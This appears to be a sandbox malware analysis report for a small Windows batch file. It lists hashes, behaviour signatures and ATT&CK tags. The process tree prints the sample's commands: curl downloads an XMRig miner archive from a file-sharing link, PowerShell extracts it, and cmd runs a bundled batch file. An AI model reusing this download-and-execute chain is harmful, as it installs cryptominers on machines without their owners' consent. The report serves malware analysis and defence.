27ff5be2b8a409d54a49aff6d51f41ba511b30e839cdfad82a5f68d72852f8bd

Analysis

max time kernel
1354s
max time network
1168s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 17:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
main.bat
Size 770B
Sample240612-vzelhsxamk
SHA256 27ff5be2b8a409d54a49aff6d51f41ba511b30e839cdfad82a5f68d72852f8bd
MD5 f42e6986127d329976d5e213e67f87d2
SHA1 4d195efba4bbcf82a838d08c883e4c6bbcbe3f35
SHA512 b4b823071918f36051fe0675270276974847f82baf26f6f04d72be08d86c764b7bc5436e542ce03bf12720d89abf658684731cd8590a233762e86a13fc1140f1
MD5 SHA1 SHA512

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3264	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3264	powershell.exe
3264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3264	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 3744	4776	cmd.exe	81
PID 4776 wrote to memory of 3744	4776	cmd.exe	81
PID 4776 wrote to memory of 3264	4776	cmd.exe	86
PID 4776 wrote to memory of 3264	4776	cmd.exe	86
PID 4776 wrote to memory of 704	4776	cmd.exe	88
PID 4776 wrote to memory of 704	4776	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\system32\curl.exe
  curl -L https://www.grosfichiers.com/kTzq58p5KSf_z9riAfwNz5b -o C:\Users\Admin\Desktop\xmrig.zip
  2⤵
  PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path 'C:\Users\Admin\Desktop\xmrig.zip' -DestinationPath 'C:\Users\Admin\Desktop\xmrig'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\Desktop\xmrig\xmrig\l.bat"
  2⤵
  PID:704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_1qdqpzve.ycj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1qdqpzve.ycj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

xmrig.zip

Path C:\Users\Admin\Desktop\xmrig.zip
Size 2.6MB
SHA256 6a921d9c6dea10927d05053d591bde1a64aa49204c8662406107b4625910e2c8
MD5 dcf89108f03e98696347155359faba4a
SHA1 bedbf469566cab08e7316a28161053428cfa40c4
SHA512 d97fe20664382dcf9f99cbe7cd8f6a1d21d7ac1be275232466725ce148d885fd91794c2c259a4ac637dd31198bf083b63f0ca08ef6b5d973ed0c3835e23b5f41
SSDEEP 49152:OzXboM2E/I/52V4DsvrFJYJne638RlEgwlNVKzjhcP4ilkBsS6pOmb8Ytf:A8M2E/IgCsjFiei8b/+bKXhcPtlkBHlw
MD5 SHA1 SHA512 SSDEEP

Submit Download

l.bat

Path C:\Users\Admin\Desktop\xmrig\xmrig\l.bat
Size 141B
SHA256 f845e473d51952d91ec39d8fc53f60716a83b03ecc4effbd8fe389dcfbd5ab3d
MD5 68fd02f028f7b1b57d976fa34495f096
SHA1 0eed80fbbe078c2c53abf88232ed490296f807a3
SHA512 c54983d8077b2422dd1f0486282ec3f852aa35c9e6e93e72fb7ec9aa392c181599052f8637bdcb877b6eee3f51d5f1876ed27bf1fb9a62d9d2f289250c7bff52
MD5 SHA1 SHA512

Submit Download

memory/3264-1-0x00007FFFFAB73000-0x00007FFFFAB75000-memory.dmp

Download

memory/3264-7-0x000001CEB1030000-0x000001CEB1052000-memory.dmp

Download

memory/3264-12-0x00007FFFFAB70000-0x00007FFFFB631000-memory.dmp

Download

memory/3264-13-0x00007FFFFAB70000-0x00007FFFFB631000-memory.dmp

Download

memory/3264-14-0x00007FFFFAB70000-0x00007FFFFB631000-memory.dmp

Download

memory/3264-15-0x000001CEB1540000-0x000001CEB1552000-memory.dmp

Download

memory/3264-16-0x000001CE98E00000-0x000001CE98E0A000-memory.dmp

Download

memory/3264-41-0x00007FFFFAB70000-0x00007FFFFB631000-memory.dmp

Download